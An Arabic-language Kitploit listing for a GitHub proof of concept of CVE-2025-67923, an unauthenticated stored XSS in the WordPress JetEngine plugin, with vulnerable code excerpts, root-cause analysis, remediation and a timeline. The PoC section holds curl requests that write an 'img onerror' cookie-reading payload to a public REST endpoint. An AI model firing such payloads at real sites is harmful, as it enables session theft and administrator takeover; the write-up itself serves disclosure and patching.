Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-67923 — JetEngine <= 3.7.7 — ثغرة Cross-Site Scripting مخزّنة بدون مصادقة عبر CCT REST API | Kitploit
أدوات/GitHubGitHub/randomrobbiebf/cve-2025-67923
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويبأمن واجهات برمجة التطبيقات
GitHubrandomrobbiebf/cve-2025-67923

CVE-2025-67923

JetEngine <= 3.7.7 — ثغرة Cross-Site Scripting مخزّنة بدون مصادقة عبر CCT REST API

عرض المستودع
منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تقرير استغلال CVE-2025-67923

JetEngine <= 3.7.7 — برمجة نصية عبر المواقع (XSS) مخزنة بدون مصادقة عبر REST API الخاص بـ CCT

التاريخ: 11 مارس 2026 درجة CVSS: 7.1 (عالية) متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L الملحق المتأثر: JetEngine <= 3.7.7 معرّف الملحق (Slug): jet-engine أُصلح في: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 الباحث: Bonds (عبر Patchstack) أُبلغ عنه: 19 أكتوبر 2025 كُشف عنه: يناير 2026 إصدار ووردبريس المُختبر: الأحدث


الملخص التنفيذي

CVE-2025-67923 هي ثغرة برمجة نصية عبر المواقع مخزنة بدون مصادقة (Stored XSS) في ملحق JetEngine لووردبريس تؤثر على جميع الإصدارات حتى 3.7.7. يمكن لمهاجم غير مصادق كتابة HTML/JavaScript عشوائي في حقل نصي لنوع محتوى مخصص (CCT) عبر REST API العامة، ثم يُحقن دون تنقية في DOM عبر نقطة امتصاص innerHTML في JavaScript داخل أداة قوائم الخرائط (Maps Listing) عندما يزور ضحية أي صفحة تحتوي على تلك الأداة.

لا يتطلب الهجوم أي مصادقة أو صلاحيات. يتطلب فقط ما يلي:

  1. وجود CCT في JetEngine مع ضبط صلاحية الكتابة عبر REST API على public.
  2. تهيئة أداة قوائم الخرائط (Maps Listing) على أي صفحة أمامية لعرض الحقل النصي الخاص بـ CCT كتسمية لعلامة الخريطة.

✅ تم تأكيد الثغرة — تم كتابة حمولة XSS المخزنة وتنفيذها

الأثر المؤكد:

  • تخزين HTML/JS عشوائي بدون مصادقة في قاعدة بيانات CCT دون تنقية
  • انطلاق XSS لكل زائر يحمّل أي صفحة تحتوي على أداة قوائم الخرائط
  • سرقة ملفات تعريف الارتباط (cookies)، اختطاف الجلسات، جمع بيانات الاعتماد المخزنة، الاستيلاء على حساب المدير

تفاصيل الثغرة

الملخص الفني

الثغرة عبارة عن مزيج من نقطتي ضعف مستقلتين:

  1. نقص تنقية المدخلات (التخزين): لا يحتوي أسلوب sanitize_field_value() في معالج عناصر CCT على مسار تنقية لحقول نوع text. حالة default: تحوّل الطوابع الزمنية فقط — يمر HTML الخام ويُحفظ في قاعدة البيانات.

  2. نقطة امتصاص XSS عبر DOM (العرض): تقرأ أداة قوائم الخرائط قيمة الحقل المخزنة عبر get_marker_label()، وتغلّفها بـ htmlspecialchars(json_encode(...)) لسمة HTML data-markers، ثم يقرأ JavaScript في الواجهة الأمامية السمة عبر getAttribute() (الذي يفك ترميز كيانات HTML)، ويُدرج markerData.label مباشرة عبر innerHTML — مما ينفذ أي HTML/JavaScript مضمّن.

المكونات المتأثرة


سلسلة الاستغلال

الخطوة 1 — كتابة REST بدون مصادقة

يتحقق وحدة تحكم REST العامة الخاصة بـ CCT من الصلاحيات عبر check_user_permissions():

root@kitploit:~
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
    $content_type = $this->get_content_type_from_request( $request );
    $cap = $content_type->get_arg( $context );

    if ( ! $cap || 'public' === $cap ) {
        return true;  // No authentication required
    } else {
        return current_user_can( $cap );
    }
}

public function create_item_permissions_check( $request ) {
    return $this->check_user_permissions( $request, 'rest_put_access' );
}

عندما يتم ضبط CCT مع rest_put_access = 'public' (إعداد مدعوم وموثق لنماذج مواجهة الجمهور)، تكون نقطة النهاية بدون مصادقة بالكامل. يمكن لأي عميل HTTP إرسال POST إلى /wp-json/jet-cct/{slug}.

الخطوة 2 — تخزين دون تنقية

يستدعي معالج REST الدالة $handler->update_item($params) والتي تصل إلى sanitize_field_value():

root@kitploit:~
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
    $type = isset( $field['type'] ) ? $field['type'] : false;

    switch ( $type ) {
        case 'repeater':    // sanitizes sub-fields
            // ...
        case 'checkbox':    // handles boolean arrays
        case 'checkbox-raw':
            // ...
        case 'media':
        case 'gallery':     // sanitizes media JSON
            // ...
        case 'wysiwyg':
            $value = jet_engine_sanitize_wysiwyg( $value );  // sanitized
            break;

        default:
            // TEXT TYPE FALLS HERE — only timestamp conversion, NO HTML sanitization
            $value = $this->factory->maybe_to_timestamp( $value, $field );
    }

    return $value;
}

يصل حقل من نوع text إلى فرع default:. يُرجع maybe_to_timestamp() القيمة دون تغيير للسلاسل غير التاريخية. يتم تخزين حمولة XSS `` حرفياً.

الخطوة 3 — استرجاع التسمية دون تهريب

عندما تعرض أداة قوائم الخرائط، يقرأ get_marker_label() الحقل:

root@kitploit:~
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {

    // ...
    switch ( $label_type ) {
        case 'meta_field':
            $field = $settings['marker_label_field'];
            if ( $field ) {
                $result = jet_engine()->listings->data->get_meta( $field, $post );
                // No esc_html() here — raw value returned
            }
            break;
    }

    return $result;  // Returns ""
}

تُوضع القيمة المُرجعة في مصفوفة بيانات العلامة:

root@kitploit:~
// render.php:231-237
$result[] = array(
    'id'        => $post_id,
    'latLang'   => $latlang,
    'label'     => $this->get_marker_label( $post, $settings ),  // raw XSS payload
    // ...
);

الخطوة 4 — ترميز السمة لا يمنع XSS عبر innerHTML

تُرمَّز مصفوفة العلامة لسمة HTML:

root@kitploit:~
// render.php:247
return htmlspecialchars( json_encode( $result ) );

يسلسل json_encode القيمة `` كسلسلة "". ثم يقوم htmlspecialchars بترميز JSON بالكامل على مستوى HTML، منتجاً:

root@kitploit:~
[{...,&quot;label&quot;:&quot;&lt;img src=x onerror=alert(1)&gt;&quot;,...}]

تُكتب هذه القيمة في سمة HTML data-markers. الترميز يحمي حدود السمة فقط. عندما يقرأ JavaScript السمة، يفك المتصفح ترميز كيانات HTML، مستعيداً الأحرف الأصلية:

root@kitploit:~
// Browser automatically decodes entities when reading via dataset / getAttribute
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''

الخطوة 5 — حقن innerHTML (انطلاق XSS)

في frontend-maps.js، تُدمج سلسلة التسمية الخام مباشرة في سلسلة محتوى HTML:

root@kitploit:~
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//   
// </div>'

ثم تُعيَّن سلسلة المحتوى هذه كخاصية innerHTML لعنصر العلامة:

root@kitploit:~
// mapbox-maps.js:175
el.innerHTML = data.content;  // XSS FIRES

// leaflet-maps.js:34
contentHtml.innerHTML = content;  // XSS FIRES

كل زائر يحمّل صفحة تحتوي على أداة قوائم الخرائط يطلق الحمولة.


إثبات المفهوم (Proof of Concept)

المتطلبات الأساسية

  1. وحدات maps-listings و custom-content-types في JetEngine مفعّلة.
  2. وجود CCT باسم locations (المعرّف: locations) مع:
    • rest_put_enabled = true
    • rest_put_access = 'public'
    • حقل من نوع text باسم label
  3. تهيئة أداة قوائم الخرائط (Maps Listing) على أي صفحة أمامية مع:
    • marker_type = 'text'
    • marker_label_type = 'meta_field'
    • marker_label_field = 'label'

الخطوة 1 — كتابة حمولة XSS (بدون مصادقة)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "Test Location",
    "label": "",
    "lat": "51.5074",
    "lng": "-0.1278"
  }'

الاستجابة:

root@kitploit:~
{"success": true, "item_id": 1}

الخطوة 2 — تأكيد تخزين الحمولة الخام

root@kitploit:~
curl -s 'http://TARGET/wp-json/jet-cct/locations'

الاستجابة:

root@kitploit:~
[{
  "_ID": "1",
  "name": "Test Location",
  "label": "",
  "lat": "51.5074",
  "lng": "-0.1278"
}]

يُخزن وسم `` حرفياً — لم تحدث أي تنقية.

الخطوة 3 — تشغيل XSS (زيارة الضحية للصفحة)

أي زائر مصادق أو غير مصادق يحمّل صفحة تحتوي على أداة قوائم الخرائط سينفّذ الحمولة. تحتوي سمة HTML المُعرضة على:

root@kitploit:~
<div class="jet-map-box"
  data-markers="[{...&quot;label&quot;:&quot;&lt;img src=x onerror=alert(document.cookie)&gt;&quot;...}]"
  data-general="...">
</div>

يقرأ JavaScript data-markers، ويفك ترميز كيانات HTML، ويحلل JSON، ويدرج في DOM:

root@kitploit:~
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror fires → alert(document.cookie)

عرض توضيحي مباشر — تدفق الحمولة من البداية إلى النهاية

root@kitploit:~
Attacker                     WordPress REST API              Victim Browser
   |                               |                               |
   |-- POST /wp-json/jet-cct/ ---> |                               |
   |   {"label":" |
   |                               |                    el.innerHTML = label
   |                               |                    onerror=alert() FIRES

تحليل السبب الجذري

السبب 1 — حقول text معفاة من التنقية

يتعامل sanitize_field_value() صراحةً مع wysiwyg بتنقية قائمة على wp_kses ولكنه يضع جميع أنواع السلاسل الأخرى في فرع default: لا ينفذ أي تهريب HTML. يُنتهك الافتراض القائل إن حقول text هي نص عادي عندما تُعرض هذه القيم لاحقاً كـ HTML عبر مسار innerHTML الخاص بأداة الخرائط.

السبب 2 — إساءة تطبيق htmlspecialchars

يُطبق htmlspecialchars(json_encode($result)) لحماية حدود سمة HTML. هذا صحيح وضروري — لكنه غير كافٍ لمنع XSS عندما تُقرأ القيمة لاحقاً عبر JavaScript وتُدرج في DOM عبر innerHTML. يمكن للمتصفح عكس هذا الترميز. الإصلاح الصحيح هو تطبيق esc_html() (أو htmlspecialchars) على قيمة label الفردية قبل ترميز JSON، بحيث تُخزن الحمولة في JSON كنص مرمّز بالكيانات. عندما يدرجها JavaScript عبر innerHTML، يعرض المتصفح &lt;img&gt; كنص، وليس كوسم HTML.

بدلاً من ذلك، استبدل innerHTML بـ textContent في JavaScript الخاص بحقل التسمية.

السبب 3 — نطاق غير كافٍ لسياسة التنقية

لا يتعامل مسار الكتابة في REST API (update_item) مع جميع القيم المخزنة كنقاط امتصاص HTML محتملة. تُحدد سياسة التنقية فقط حسب نوع الحقل، مع إعفاء حقول text بصمت على الرغم من عرضها كـ HTML في الواجهة الأمامية عبر أداة الخرائط.


المعالجة


الجدول الزمني

التاريخالحدث
19 أكتوبر 2025أُبلغ عن الثغرة من قبل الباحث "Bonds" عبر Patchstack
يناير 2026الكشف العام
يناير 2026إصدار JetEngine 3.7.8 مع الإصلاح
11 مارس 2026إعادة إنتاج مستقلة مع إثبات مفهوم (PoC) كامل

المراجع

  • نشرة أمنية من Wordfence — CVE-2025-67923
  • نشرة أمنية من Patchstack
  • سجل تغييرات JetEngine — 3.7.8
  • OWASP — XSS المخزنة
  • OWASP — XSS القائمة على DOM
  • CWE-79: تحييد غير سليم للمدخلات أثناء توليد صفحة الويب
تنزيل الأداة
الملفالمشكلة
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424يُرجع create_item_permissions_check قيمة true عندما يكون rest_put_access = 'public' في CCT — لا حاجة لمصادقة
includes/modules/custom-content-types/inc/item-handler.php:489فرع default: في sanitize_field_value() — لا تنقية HTML لحقول نوع text
includes/modules/maps-listings/inc/render.php:233يُرجع get_marker_label() قيمة بيانات وصفية خام دون esc_html()
includes/modules/maps-listings/inc/render.php:247htmlspecialchars(json_encode($result)) — يحمي حدود السمة فقط، لا حقن innerHTML
includes/modules/maps-listings/assets/js/frontend-maps.js:112pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — إدراج تسمية خام في سلسلة HTML
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175el.innerHTML = data.content — نقطة امتصاص تنفيذ XSS
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34contentHtml.innerHTML = content — نقطة امتصاص تنفيذ XSS
الإصلاحالملفالوصف
تنقية الحقول النصية عند الحفظitem-handler.php:sanitize_field_value()أضف $value = wp_kses($value, []) أو sanitize_text_field($value) في فرع default:
تهريب التسمية وقت العرضrender.php:get_marker_label()طبّق esc_html($result) قبل إرجاع قيمة التسمية
استخدام textContent بدلاً من innerHTML للتسمياتfrontend-maps.js, mapbox-maps.js, leaflet-maps.jsاستبدل el.innerHTML = data.content ببناء DOM آمن عندما يكون المحتوى نص تسمية فقط
تقييد الوصول الافتراضي للكتابة عبر RESTإعدادات الملحقغيّر القيمة الافتراضية لـ rest_put_access إلى manage_options بدلاً من public؛ واطلب اشتراكاً صريحاً